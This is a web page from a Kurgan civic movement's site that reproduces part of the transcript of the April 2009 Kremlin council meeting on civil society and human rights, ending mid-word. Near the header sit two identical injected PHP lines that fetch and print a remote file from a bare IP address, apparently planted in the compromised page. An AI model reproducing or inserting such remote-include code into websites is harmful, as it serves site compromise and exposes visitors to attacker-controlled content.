ПРАВОЗАЩИТНАЯ СТРАНИЧКА КУРГАНСКОГО
ОБЛАСТНОГО ОБЩЕСТВЕННОГО ДВИЖЕНИЯ "ЗА ЧЕСТНЫЕ ВЫБОРЫ"
e-mail: gabdis@mail.ru
Пятый угол
правозащитников курганской области

Новости

Заседание Совета при Президенте..

17.04.2009


"Пятый Угол" - Новости <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?> <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?>

Стенографический отчёт о заседании Совета по содействию развитию институтов
гражданского общества и правам человека

15 апреля 2009 года,
Москва, Кремль

Д.МЕДВЕДЕВ: Добрый день ещё раз, уважаемые коллеги!

Ещё раз поздравляю Иду Николаевну [Куклину] с праздником от себя лично и от
всех здесь присутствующих. Здоровья Вам и успехов во всём.

Уважаемые коллеги, я несколько слов скажу в начале нашего с вами совещания.
Сегодня у нас первое заседание Совета уже в обновлённом составе. Здесь
присутствуют все, кто входит в Совет. Надеюсь, что работа Совета в
обновлённом составе окажется востребованной как со стороны, собственно,
гражданского общества, так и со стороны власти, что особенно важно и
наиболее трудно.

Сегодня мы поговорим о приоритетах работы, о тех задачах, в которые уже
вовлечена общественность, вовлечены неправительственные организации. Я не
буду обозначать все эти задачи, они вам хорошо известны, каждый из вас
занимается этими вопросами по-своему и, как правило, уже очень долгие годы.
Речь, конечно, пойдёт и о модернизации судебной власти, о борьбе с
коррупцией, борьбе с экстремизмом, о реформировании Вооружённых Сил и
правовых, а также социальных проблемах, которые с этим связаны. Это и
проблемы гуманизации нашего общества в целом, защита прав детей, кризис,
наконец, который бьёт по всем.

Теперь несколько слов о самих неправительственных организациях. Я думаю, мы
поговорим, собственно, о самой деятельности, которая осуществляется НКО, о
статусе этих организаций. Понятно, что работается вам непросто, есть масса
случаев, когда деятельность неправительственных организаций ограничивается
без достаточных на то причин. Конечно, это связано и с тем, что, собственно,
в деятельности некоммерческих организаций, в деятельности
неправительственных организаций многие чиновники видят и угрозу для своего
безраздельного правления. Так, наверное, не только у нас, но у нас в этом
смысле есть свои достаточно тяжелые исторические традиции, которые по сей
день достаточно активно сказываются на взаимоотношениях между властью и
гражданским обществом, между властью и неправительственными организациями.

В отношении законодательства об НКО. Я думаю, что у вас есть вопросы к этому
законодательству. Я готов выслушать и ваше мнение, и ваши предложения по
совершенствованию законодательства в этой сфере. Оно явно не является
идеальным, несмотря на то, что мы потратили на его совершенствование
довольно много времени за последние годы. Я думаю, что какие-то изменения в
нем возможны, а какие-то даже и необходимы. Причем я имею в виду все
вопросы: и вопросы налогообложения некоммерческих организаций, и вопросы,
связанные с определением порядка взаимодействия между НКО и органами власти,
вопросы информирования граждан о деятельности неправительственных
организаций, вопросы государственной поддержки организаций гражданского
общества, вопросы проведения общественной экспертизы, а также публичных
слушаний по вопросам, которые являются существенными для общества. Все эти
темы так или иначе, конечно, отражены в законодательстве о деятельности НКО,
но, наверное, здесь можно многое еще поменять.

Хотел бы специально акцентировать внимание на такой довольно прописной
истине о том, что у власти и у правозащитников огромное поле для
взаимодействия, и нам только нужно правильным образом расходовать силы.
Кроме того, не секрет, что представление о правозащитной деятельности в
нашей стране сильно искажено. Это связано и с нашей историей, и с
определенными идеологическими построениями. Здесь нужно понимать одну
простую вещь - защитой прав должно заниматься само государство, защитой прав
должны заниматься люди, которые хотят этим заниматься. Таким образом, в
результате совместной деятельности, может быть, удастся добиться лучших
результатов.

Ещё одна тема, о которой я сказал вначале, - это экономический кризис.
Понятно, что в условиях кризиса нам необходимо подумать об укреплении
взаимопонимания и доверия между государством и гражданским обществом, потому
что без такого доверия кризис просто будет не преодолеть. Объективная
потребность в этом сегодня налицо, но, конечно, важно, чтобы и сами
неправительственные организации брали на себя часть забот в сфере
образования, воспитания, здравоохранения, просвещения. Рассчитываю также на
то, что Совет будет активно заниматься вопросами защиты социальных и
трудовых прав граждан, потому что именно эти права сейчас находятся в очень
сложном положении. В условиях кризиса, очевидно, что выросло и количество
незаконных увольнений, ухода в длительные административные отпуска.
Безработица растёт - и растёт, естественно, бедность в результате
безработицы. Это наши общие проблемы, которыми мы тоже должны совместно
заниматься.

Я не буду больше тратить драгоценное время на какие-то установочные слова.
Думаю, что мы сразу начнём работать. Я предлагаю Элле Александровне
выступить с сообщением, а потом мы обменяемся уже соображениями и по всем
вопросам, которые вас волнуют.

Э.ПАМФИЛОВА: Уважаемый Дмитрий Анатольевич!
Конечно, мы эту первую встречу очень основательно готовили, вот результат
нашей работы. Я думаю, что в ходе выступлений Вы ознакомитесь с этими
документами, которые мы подготовили. Потому что мы считаем для себя очень
важным, принципиально важным не просто прийти, вывалить на Вас кучу
проблем - и всё; а если мы её ставим, если мы обсуждаем - мы сами готовы
заниматься этой проблемой и Вам предлагать конкретные решения, как мы их
понимаем; а уже, скажем, Ваше дело - согласиться, не согласиться, принять
нашу точку зрения или не принять.

Что бы хотелось на этой встрече обсудить? Мы так подразделили вопросы на
четыре блока.

Первый - это самый главный, это стратегия отношений гражданского общества и
власти именно в период кризиса.

Второй - это ключевые реформы и участие в них общества. На этой встрече мы
хотели бы затронуть, и мои коллеги об этом скажут, то, что происходит с
судебной реформой и военной реформой. Вот пока всё. Это, естественно,
коррупция. Суды, коррупция - это тоже входит в этот блок.

В-третьих, проблема верховенства права и реализация фундаментальных прав и
свобод включая политические. Тоже об этом коллеги мои скажут.

И, в-четвёртых, на наш взгляд, это очень важная вещь, и Вы об этом
сказали, - гуманизация общества и государства; эта тема проходит сквозным
стержнем, чтобы изменить качество, наверное, отношений в стране.

Вот все эти вопросы хотелось обсудить с Вами и также договориться о сути,
характере и формах нашей с Вами совместной работы, выделить вот эти основные
приоритеты на время кризиса и те горячие проблемы, решению которых Совет мог
бы эффективно способствовать. Мы готовы брать на себя многие проблемы.

И если получится, хотелось бы, конечно, в конце встречи услышать Ваши
пожелания о том, что бы Вы хотели в следующий раз, на следующей встрече в
конце года обсудить с Советом, на что бы Вы обратили внимание в нашей
работе. Мы готовы действительно всерьёз заниматься мониторингом социальных,
трудовых прав. И к этой встрече мы подготовили мониторинг по самым уязвимым
группам: это дети, по нашим представлениям, малый бизнес, как ни странно. По
этим группам мы представим свои материалы, а что касается проблем, скажем,
готовы провести мониторинг по проблемам пожилых людей, тоже у нас есть
предложения по этому поводу.

По первому блоку об НКО: тут я не буду подробно останавливаться, мои коллеги
более подробно раскроют эту тему. Я хотела бы только заметить, что,
во-первых, Вы прекрасно знаете ситуацию: и плюсы, и минусы, и те основные
претензии, реакцию, активной части гражданского общества к законодательству
об НКО. На наш взгляд, всё-таки мы настаиваем на этом, даже та цель, которую
ставили законодатели, а некоторые законодатели ставили цель, чтобы взять под
контроль многие организации гражданского общества, она оказалась не
выполнена. В результате вот этого бюрократического бремени многие
организации просто стали предпочитать не регистрироваться, они ушли в такое
полулегальное существование. И в конце концов даже те службы, которые со
стороны государства должны взаимодействовать, они в меньшей степени стали
понимать, что происходит с гражданским обществом, информация у них
уменьшилась.

На мой взгляд, самый большой вред и урон даже не сами по себе эти поправки
нанесли, а то, что - поскольку в России от плохих законов часто спасаются их
неисполнением - многие просто не стали его исполнять. Это тоже плохо, это
тоже ужесточает - скажем, усиливает - правовой нигилизм. Но самое главное,
что всё-таки они породили определённую атмосферу недоверия между
государством и общественными институтами, некоторую такую гипотетическую, на
всякой случай, <презумпцию виновности> неправительственных организаций и в
первую очередь правозащитных. И спасибо Вам, мы очень благодарны, что Вы и в
своём выступлении подчеркнули значимость правозащитных организаций. Для нас
это очень важно.

Естественно, во время кризиса, я ещё раз хочу повторить, НКО могут на себя
взять очень многое, и поэтому члены Совета готовы в рамках своих
возможностей и полномочий способствовать не только налаживанию
многостороннего и многоуровневого диалога между государственными и
общественными структурами, но в общем-то, способствовать формированию
широкой общественной антикризисной коалиции. Мы считаем, что это очень
актуально. Именно поэтому мы ставим вопрос о необходимости создания иной
правовой базы для НКО, которая бы строилась не на подозрении, а на взаимном
доверии и способствовала бы их развитию, созданию доброжелательной среды.
Это, наверное, даже больше значит, чем правовая или материальная
составляющая, - доброжелательная среда.

По второму блоку. Когда я готовила выступление, смотрела те материалы,
которыми мы занимались, Вы знаете, удивительно оказалось, если позитивный
стержень, за который мы хватаемся, - это гуманизация общества, то обратной
стороной, скажем отрицательным, негативным стержнем, на который нанизывается
всё, оказались коррупция и наплевательское отношение к людям как к таковым и
к своим обязанностям. Вот это со стороны ответственных лиц, является,
наверное, тем стержнем, на который нанизываются произвол и нарушения прав
граждан в любой сфере: от экологии, вопиющих фактов насилия в отношении
детей до ограничения политических и гражданских прав. Как ни странно, но
именно коррупция оказалась одним из основных факторов.

И по судам, по плюсам и минусам, Тамара Георгиевна [Морщакова, судья
Конституционного Суда Российской Федерации в отставке, советник Председателя
Конституционного Суда Российской Федерации] скажет. Я только приведу
положительные сдвиги. Есть и положительные сдвиги, на наш взгляд. Вот,
например, недавно Кассационная коллегия Верховного Суда восстановила
полномочия волгоградской судьи Елены Гусевой, которая вопреки мнению
регионального судейского сообщества в одиночку упорно отстаивала
конституционный принцип независимости судей. Этим создан важнейший
прецедент, мы его поддерживаем, и хорошо бы, чтобы таких примеров было
больше.

Я остановлюсь вот на чём. Всё-таки нашу озабоченность вызывает состояние
всей правоохранительной системы. И критиковать я буду любя, сразу
предупреждаю, что любя, но буду и всерьёз. Потому что это не раз уже
говорилось, и действительно граждане в большей степени представляют
правоохранительные органы не как элементы защиты, а как одну из угроз для
граждан, в большей степени как угрозу. Настораживает также тенденция к
необоснованному в ряде случаев ужесточению законодательства. И здесь
парадокс: в одних случаях идёт необоснованное ужесточение, а в других -
просто такое преступное моральное попустительство и фактически поощрение
преступлений. Вот вызвал шок недавний приговор суда в виде трёх лет условно
педофилу за его издевательство над 9-летним мальчиком. Таких примеров
немало, и трудно понять, почему в сфере действительно тяжёлых преступлений у
нас, скажем, нет правового ужесточения, но при этом весьма активно
разрабатывается ужесточение и внесение поправок в Уголовный кодекс, скажем,
статьи о государственной измене и шпионаже. Мы высказывались, Совет
высказался против этих поправок, которые изымают дела по шпионажу из
юрисдикции судов присяжных. И мы получили от Вас определённую поддержку, что
необходимо всё-таки вернуться и более детально проработать то, что
предлагает законодатель. Мы сегодня Вам представляем дальнейшие, более
конкретные предложения, то есть заключения экспертов, ряда экспертов по
этому поводу, исходя из того, что всё-таки, на наш взгляд, эти поправки не
только противоречат Конституции, но они стирают всякую грань между
политической, правозащитной и научной деятельностью. Хотелось бы, чтобы Вы
ещё раз всё-таки вернулись к этому и обратили внимание на озабоченность
очень многих экспертов и общественных организаций.

Вообще, передавая эти предложения Вам, хотелось бы пожелать нашим силовым
структурам включая спецслужбы всё-таки изжить эту пресловутую примитивную
<охоту на ведьм> в лице правозащитников и нашей малочисленной, подчас
маргинальной оппозиции, а сосредоточить свои усилия. Тут правозащитники как
раз могут быть очень хорошими партнёрами, чтобы всё-таки выявить наконец
основных покровителей и создателей криминальных сетей по организации
сексуального насилия над детьми, детской порнографии, торговли людьми,
оружием, наркотиками и прочих преступлений, которые действительно
представляют угрозу для национальной безопасности страны. И полагаем, что
законодатель именно в этой сфере должен больше проявлять правовую жёсткость,
наверное. Именно здесь, а не в борьбе с инакомыслящими, правозащитниками и
прочими категориями, которые, собственно говоря, пытаются в рамках закона
отстаивать свою позицию.

Мы представим также Вам доклад экспертов Совета, об этом более подробно
Кабанов расскажет, что происходит именно в сфере бизнеса, именно исходя из
того, что очень высокий уровень коррупции в самой среде правоохранительных
органов. И мы полагаем, что как раз наши правоохранительные органы в первую
очередь из своей среды должны выявлять тех, кто потворствует созданию этих
преступных сетей, - в первую очередь, иначе ни о какой борьбе с коррупцией
речи вообще быть не может.

Вот доклад <Незаконный захват собственности с участием банков в ситуации
финансового кризиса>, где приводятся наиболее типичные примеры изъятия у
законного собственника имущества, ставшего предметом залога при получении
банковского кредита, то есть фактически такое крупномасштабное рейдерство,
рейдерский грабёж собственности легальным путем средь бела дня. Доклад мы
Вам передадим. Также широкое распространение получило использование методов
уголовного преследования силовыми органами для достижения коммерческих или
иных целей, тоже борьба с конкурентами. Это очень серьёзная претензия к ним.

Также мы представим Вам совершенно свежие исследования, которые по просьбе
Совета и специально к сегодняшнему заседанию были проведены буквально с 16
марта по 10 апреля. Были опрошены 1325 предпринимателей малого и среднего
бизнеса. Вывод основной такой, что всерьёз чиновники многих уровней не
занимаются проблемами малого бизнеса, а только декларируют, проявляют к нему
внимание только тогда, когда необходимо путём давления, скажем, как-то
<попотрошить> его. Здесь я не буду приводить примеры, Вы посмотрите потом,
очень много интересных фактов, но вот, например, один из них: нет даже
снижения арендной платы за государственное имущество - очень часто такие
жалобы поступают, при том что все частные арендодатели ставки понизили. И
полностью заблокирован обещанный выкуп помещений для малого бизнеса,
налоговое бремя тоже не снижается, по мнению вот этих предпринимателей.

Основной вывод такой: главной антикризисной и просто необходимой помощью
малому бизнесу, за исключением отдельных отраслей и особых случаев, является
не финансовая поддержка, а снятие административного давления. Это очень
важный аспект.

Я в своем выступлении хочу как раз сделать акцент не на материальных, не на
финансовых каких-то влияниях, об этом все и много говорят, а задействовать и
другой ресурс. Вот в данном случае, видите, просят снять административный
ресурс, материальный ресурс, задействовать потенциал, человеческий
потенциал - для решения тех проблем, которые сейчас существуют в нашем
обществе. Это огромный резерв, мы, к сожалению, его не используем.

Ещё пример такой. Если говорить о бизнесе, приходится брать их тоже под
защиту. В ситуации нарастающей безработицы следует более внимательно
относиться к стабильно работающим предприятиям, способным в условиях кризиса
поддержать рынок труда и обеспечить социальное развитие региона.

Вот поступает в Совет информация, что, пользуясь несовершенством налогового
законодательства, налоговые службы увеличивают налоговое бремя на отдельные
градообразующие предприятия. Есть очень серьёзный пример по Владимирской
области и по многим другим регионам, когда просто градообразующие
предприятия вынуждены сократить производство и увольнять работников. В
маленьких городах последствия этого катастрофичны: рост безработицы,
преступность, обнищание населения, - всё это известно.

Хотелось бы, конечно, ещё остановиться на одной из существенных и давно
обсуждаемых правовых технологий: это порочная система критериев оценки
деятельности правоохранительных органов. Например, неблагоприятная динамика
преступности оценивается как недостаток деятельности в первую очередь
милиции. В этой связи борьба за сокращение показателей преступности,
требуемая, как правило, в нереальном масштабе и без учёта реального вклада в
борьбу с преступностью, стала вопросом профессионального выживания и привела
к укрытию преступлений от учёта. Это есть, к сожалению, мы об этом много
говорили.

Вторым, не менее негативным фактором, скажем, приведшим к тому, что
правоохранительным органам фактически была навязана роль барьера на пути
граждан к правосудию, является гипертрофированная роль процента
раскрываемости. Тоже не буду раскрывать эту тему, но проблема остается. Её
даже не смог изменить и приказ по МВД, приказ Министра от 5 августа 2005
года, который определяет критерии оценки деятельности органов внутренних
дел.

В то же время обеспечение прав граждан никак не учитывается в качестве
показателя эффективности деятельности правоохранительных органов. Например,
не учитывается показатель жалоб на действия правоохранительных органов.
Жалобы на пытки не расследуются должным образом.

И Президент, и мы как Совет, как коллективный общественный советник, -
союзники в борьбе за верховенство права и закона. Мы готовы, в общем-то,
очень активно работать в этой сфере, проводить мониторинги и давать Вам
информацию, которая приходит от наших экспертов из всех регионов по этому
поводу.

По детям. По детям, я надеюсь, что выступит здесь Светлана Сорокина и
[Алексей Иванович] Головань, но я бы хотела обратить внимание на один
аспект. Мы все знаем, что как никогда много сделано для улучшения положения
детей, и здесь Ваша огромная заслуга. То есть впервые за много лет
государство повернулось лицом к проблемам детей.

Но, конечно, сделать надо ещё больше, чтобы переломить ситуацию кардинально.
И сейчас вы видите, и на слуху, и на виду многие вопиющие, совершенно разные
по характеру, но сходные по жестокости и цинизму случаи насилия и произвола
в отношении детей. Они разные, я не буду их перечислять, все их видят, и
слышат, и знают, и принимают близко к сердцу. Случаи разные, а причина одна.
На наш взгляд, с одной стороны, конечно, морально-психологическое состояние
общества, это понятно, это отдельная тема. Ну и отсутствие системного
подхода в решении проблем детства и семьи. Отсутствие полноценного
государственного органа, который был бы в состоянии сформировать эту
системную, современную, эффективную социальную политику, в том числе
политику в отношении семьи, кто был бы способен быстро и адекватно
реагировать на все ситуации, угрожающие детям, в том числе и законодатель, и
в виде динамичных законодательных инициатив, и в виде умного, гибкого
администрирования. Мне кажется, самая главная причина в том, что и тратится
много средств, и усилий, но пока меры логически не выстроены в единую
систему, они не взаимоусилены и взаимно не увязаны. Поэтому часто многие
усилия, средства уходят, если не в никуда, то дают очень малую
эффективность.

В результате, скажем, ничем не оправданное затягивание процесса по
подписанию, ратификации международных договоров в интересах детей, в том
числе направленных и на формирование предупредительных, защитных,
уголовно-правовых механизмов борьбы со всеми формами торговли детьми,
сексуальной эксплуатации, сексуальных посягательств в отношении детей. За
последние восемь лет эти преступления в России увеличились в 30 с лишним
раз. Просто волосы дыбом встают от тех примеров, которыми все мы завалены. Я
думаю, что и Вам много пишут по этому поводу. Вроде бы никто не против, и за
ювенальную юстицию все <за>, и за всё <за> , а воз и ныне там, ничего не
движется. Я понимаю, что более интересно лоббировать другие интересы - и в
Государственной Думе, и в других структурах, а к сожалению, такого мощного
лоббиста, который бы действительно лоббировал интересы детей на системном
современном уровне, к сожалению, пока нет.

Мы свою скромную лепту пытаемся внести, подготовили письма: 8 писем по
восьми проблемам. Но я так полагаю, что это только капля в море.

Мои коллеги выступят по проблеме ксенофобии, я не буду эту тему трогать. Я
бы хотела Вам, Дмитрий Анатольевич, просто привести один пример. Вот по
этому учебнику учились санкт-петербургские милиционеры. Да, но если учебник,
в котором пропагандируют антисемитизм, изучают милиционеры, что мы можем
ожидать от правоохранительных органов?

Да, к сожалению, насильственные преступления на почве ненависти, несмотря на
заметную активизацию правоохранительных органов, - надо отдать должное, это
действительно так, - продолжают умножаться числом и становятся более
жестокими и опасными. Тут, наверное, всё-таки надо тоже менять атмосферу и
периодически давать какой-то знак, посыл сверху и нашим правоохранительным
органам, и, скажем, каким-то общественным формированиям, и обществу в целом.

Я хочу завершить свое выступление, не буду я поднимать целый ряд тем, но я
просто хотела оставить время для своих коллег. Но в заключение я бы ещё раз
хотела остановиться на нематериальном факторе. Действительно, сейчас
необходима консолидация усилий государства и общества, и необходима она не
только для преодоления затяжного, давайте скажем честно, кризиса, но и для
эффективного посткризисного развития. Как бы парадоксально это ни звучало,
но думать и действовать в этом направлении необходимо именно сейчас, не
теряя времени, не затягивая, формировать какую-то стратегию построения
будущего, формировать фундаментальные закладки на будущее, в том числе и
формирование правового сознания. И, поскольку кризис, на мой взгляд, не
просто финансово-экономический, а фактически цивилизационный, затрагивающий
все сферы нашего бытия: и нравственный, и духовный, экологический,
социокультурный и даже мировоззренческий аспекты, - полагаю важным сделать
акцент, ещё раз хочу сказать, не на материальных ресурсах, а на
человеческом, личностном потенциале и капитале. И необходимо в первую
очередь изменить то, что не требует материальных затрат, но при этом
является важнейшим фактором преодоления кризиса и последующего развития, я
имею в виду психоэмоциональное состояние общества, характер общественных и
межличностных отношений, формирование гуманной, доброжелательной среды
жизнедеятельности и жизнеобеспечения внутри российского социума, изменение
нравственного климата.

Кризис даёт в случае неординарных подходов и неожиданные возможности.
Например, инвестиции в человеческий капитал и социальную инфраструктуру
становятся не только наиболее надёжными, но и фактически спасительными для
государства и бизнеса. Только нужны чёткие механизмы. И, если возвращаться к
произволу, нельзя допустить, чтобы людей, всё чаще попадающих из-за кризиса
в трудные ситуации, вследствие разгула произвола со стороны как
государственных, так и бизнес-структур загоняли в безысходные условия. И тут
мы готовы свою роль внести определённую.

И нельзя, чтобы в кризис просто выживали. Преодолевая его, необходимо
мобилизовать, ещё раз хочу сказать, ресурсы развития. Вера в будущее должна
быть обязательно - не просто так, что сегодняшний день пережить. Власть, так
называемая элита, хочу остановиться в заключение на этой проблеме, так
называемая российская элита - надо, наверное, выращивать новую. Но если она
есть, она должна в первую очередь подавать пример нацеленности на успех, на
гуманизацию общества, на правовые основы государства, на социальную
справедливость, на соответствие слов реальным делам. Ирина Ясина скажет об
этом подробнее, но я не могу обойти этот важнейший, на наш взгляд, аспект
изменения характера взаимоотношений между государством и обществом, между
обществом и конкретным человеком: от равнодушно озлобленных и агрессивных,
уничижительных порой, оскорбительных, которые и являются такой средой
бесправия и нарушения прав - к человекосберегающим. Это требует не столько
денег, сколько наших душевных сил, и на раскачку нет времени, так как этот
процесс очень долгий - переход в иное качество, в качество развития.

Что касается показателя качества нашей элиты, нашей отечественной элиты:
открытая декларация о доходах и собственности, надо признать, - это очень
важный шаг в нужном направлении, но, конечно, если ещё при этом будет
обеспечена система гражданского контроля за достоверностью предоставляемых
данных и ответственность за обман и сокрытие конфликта интересов. Но и то
очень важно, где находится эта собственность: в стране или за рубежом, и,
что ещё важнее, где учатся и работают дети нашей элиты, и идут ли они
служить в российскую армию по аналогии с внуками английской Королевы, и
готовы ли они вообще связать свое будущее с Россией, собираются ли они здесь
пускать свои корни или всё-таки в Лондоне и ещё где-то. Вот это ключевые
проблемы, без чего невозможно создать систему взаимного доверия между
обществом и людьми, которые определяют нашу судьбу, элиту. Вот поэтому мне
кажется, что это очень важно.

И, завершая своё выступление, акцентирую внимание именно на этом: я надеюсь,
что за этот год нам удастся немало сделать. Вы можете рассчитывать на наше
желание внести свой посильный вклад в то, чтобы страна двигалась к развитию,
вопреки всем кризисам, чтобы использовала этот кризис как шанс для развития
и для изменения, качественного изменения ситуации в государстве. Спасибо.

Д.МЕДВЕДЕВ: Спасибо, Элла Александровна.

Ну что, продолжим? Сейчас я дам высказаться коллегам, которые заранее
какие-то сообщения готовили. Потом, естественно, дам высказаться тем, кто
просто хочет что-то сказать.

Отдельно хотел бы просто в начале работы проинформировать вас, что всё, о
чём мы будем говорить, я имею в виду стенограмму по итогам нашей с вами
встречи, будет сразу же вывешено на сайте Президента, с тем чтобы все, кто
интересуется нашей с вами работой, встречей и обсуждениями вопросов, могли
получить информацию незамедлительно.

Пожалуйста, Александр Александрович Аузан, президент Ассоциации независимых
центров экономического анализа. Пожалуйста.

А.АУЗАН: Спасибо, господин Президент.

Уважаемый Дмитрий Анатольевич! То, что я буду говорить - это совместная
позиция Совета, то, что мы обсуждали неоднократно, и это касается вопроса о
необходимости кардинального, на наш взгляд, изменения стратегии в отношениях
государства и общества.
Для того чтобы быть кратким, я постараюсь изложить эту позицию в виде
четырёх тезисов.
Первое. Есть уже, конечно, определённая история, ретроспектива отношений
государства и общества в новой России. В 90-е годы, во время становления
государственных институтов, практически не существовало осознанных стратегий
в этих отношениях и, скорее, формировались отношения под воздействием
вызовов того нелегкого времени, но были созданы довольно важные
законодательные основы, часть из которых работает до сих пор. Фактически
стратегия в отношениях появилась в период 2000-2003 годов. На мой взгляд, на
наш взгляд, кульминационным пунктом в этом был Гражданский форум 2001 года,
который, я думаю, присутствующий здесь Владислав Юрьевич [Сурков] хорошо
помнит. Это было провозглашение принципа равноправного диалога между
государством и обществом. В определённой мере этот диалог реализовывался и
давал условия для реформ того времени, для дебюрократизации утверждённого
хозяйственного законодательства, формирования определённой атмосферы,
технологий общения общества и власти.
Фактически с 2004 по 2008 год реализовывалась иная стратегия, достаточно
последовательная. Это стратегия доминирования государства и встраивания
гражданского общества в общественно-политическую систему. Двумя наиболее
важными признаками этой стратегии стали, вехами этой стратегии стало
создание Общественной палаты, использование её как единственного канала
связи с государством и принятие поправок в некоммерческие общественные
законодательства, вступивших в действие с 2006 года. Поправки эти содержали
репрессивные моменты в отношении некоммерческого сектора, резкое повышение
издержек. Они вызывали сопротивление тогда, и это касалось конкретных
вопросов регистрации, отчётности и проверок.

Видимо, в этот период - период конъюнктурного экономического подъёма для
государства - такие отношения были приемлемы, тем более что практически в
основаниях лежал негласный общественный договор: лояльность населения в
обмен на экономические блага для этого населения. Для гражданского общества
(значительной его части) такая стратегия была неприемлема. И хочу
подчеркнуть, Дмитрий Анатольевич, что эта стратегия не дала результатов в
виде диверсификации российской экономики, вступления в модернизацию и
развития новых институтов, хотя обеспечивала такую очень важную, реально
важную ценность, как стабильность.

В Вашем интервью <Новой газете>, которое опубликовано сегодня, Вы сказали о
том, что, по существу, требуется новая конструкция, которая позволяла бы
соединить и достаток, и свободу. И корень общественного договора в России -
это Конституция Российской Федерации. Мы не обсуждали полным составом Совета
эту Вашу позицию, но я осмелюсь предположить, что в этом вопросе Ваша
позиция, господин Президент, и позиция Совета солидарны. И поэтому исходя из
этой точки, на наш взгляд, требуется кардинальное изменение стратегии
государства в отношении общества, что дало бы результаты и для достижения
целей модернизации, и для преодоления кризисных условий.

На какие вызовы должна, на наш взгляд, реагировать новая стратегия - это
второй тезис. Фактически произошло спонтанное расширение сферы
государственной ответственности в кризисе, необходимое: оно во многих
странах произошло. И одновременно шёл опережающий рост и по количеству, и по
сложности проблемы. В этих условиях государство наталкивается на реальные
проблемы с необычайно широким фронтом работ и с не очень, прямо скажем,
высокой эффективностью исполнения государственных функций. Вот именно из
интересов государства - какие функции нужны, на наш взгляд, в этих условиях
от гражданского общества? Во-первых, активные, самоорганизованные группы
принимают на себя тем самым часть работ, помощь себе и другим, - и это путь
к модернизации, вообще говоря, в этой самостоятельной деятельности.

Во-вторых, при слабости партийно-политических институтов нынешней России
функцию обратной связи, без которой нельзя поднять эффективность
государственных служб, могут принять на себя неполитические институты
гражданского общества. Отсюда третий тезис, как мы видим эту стратегию.

Мы полагаем, что эта стратегия состоит из трёх взаимосвязанных линий
перемен. Во-первых, поддержка самоорганизации в гражданском обществе. Это
предполагает, на наш взгляд, очень быстрые, неотложные, символически важные
изменения в законодательстве 2006 года в отношении регистрации, отчётности и
проверок. Мы уже неоднократно представляли материалы и готовы предоставлять
вновь и по результатам исследований, и по предложениям, а затем - создание
нового законодательства совместно, в партнёрстве, и по благотворительности,
и по налогообложению, но первым делом - важный символический шаг.

Во-вторых, поддержка общественного контроля и мониторинга, процедуры для
этого во многом созданы, но это требует принятия нормативных и бюджетных
решений. А главное, мы говорили ровно о тех же сферах, о которых сказали Вы,
Дмитрий Анатольевич, в Вашем вступительном слове, то есть об институтах
рынка труда, о среде для малого и среднего бизнеса, о судах,
антикоррупционном направлении. Отсюда проблема не только провести контроль и
мониторинг, который есть, но и чтобы были учтены результаты, нужен механизм
принятия решений по этим результатам.

И последнее, третье направление - это развитие гражданского участия.
Фактически, на наш взгляд, это соответствует духу и букве тех 10 пунктов о
развитии демократии, о которых говорили Вы в Послании Федеральному Собранию.
Речь идет о гражданском участии в таких сферах, как местное самоуправление,
проблемы окружающей среды, социальной защиты детства и так далее. Вот это
всё, на наш взгляд, должно дать определённый результат. И это четвёртый
тезис, который касается значения. Значение состоит не только в том, чтобы
вернуться к равноправному диалогу, в одну и ту же реку нельзя войти дважды,
и время более тяжелое и сложное, оно требует не только диалога, но и
действий. Фактически речь идёт о форме партнёрства государства и общества в
форме, в варианте широкой общественной антикризисной коалиции, которая могла
бы действовать по широкой повестке: и в области экономики, где
антимонопольные, антикоррупционные вопросы связаны с теми блокираторами,
которые не дают прерывать спирали, и в общественно-политической области, где
гласность нужна для того, чтобы искать многочисленные решения кризиса для
различных уровней. А политическая конкуренция при партнёрстве государства и
общества могла бы дать надежный результат в виде разделения ответственности
за антикризисную политику и политику модернизации с различными активными
общественными силами и во внешней политике, потому что гражданские общества
имеют свои возможности воздействия на международной арене и инструменты
общественной дипломатии.

В итоге, мне кажется, мы бы в этом случае работали не только по проблеме
кризиса, но на будущее России, потому что речь идёт о ценностных сдвигах, о
том, что если государство будет больше уделять внимания открытости,
обеспечивать большее пространство свободы, а в обществе будут сильнее
ценности солидарности, взаимопомощи, справедливости, то у нас лучшие условия
для входа в модернизацию. Но сейчас, мне кажется, господин Президент, нам
важно получить Вашу реакцию на вопрос о входе в новую стратегию, поддержку
самоорганизации, поддержку общественного контроля и мониторингов и развития
гражданского участия. Спасибо.

Д.МЕДВЕ


Смотрите также:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             


Яндекс.Метрика
© 2010 Все права защищены, при использовании
ссылка на сайт движения "За честные выборы" обязательна
закрыть
   
Текст подсказки.